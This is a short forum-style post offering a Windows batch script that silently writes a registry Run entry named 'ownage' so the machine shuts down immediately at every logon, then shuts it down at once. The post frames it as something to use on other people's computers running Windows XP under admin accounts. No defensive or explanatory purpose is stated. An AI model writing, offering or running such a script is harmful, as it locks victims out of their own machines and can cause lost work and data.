Make a Batch file with any name...
Code:
@ECHO off
CLS
ECHO REGEDIT4 >> temp.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg
REGEDIT.EXE /s temp.reg
SHUTDOWN.EXE -s -t 00
If they are using Windows XP on an admins account, this will make their computer shut off every time they log on to their account.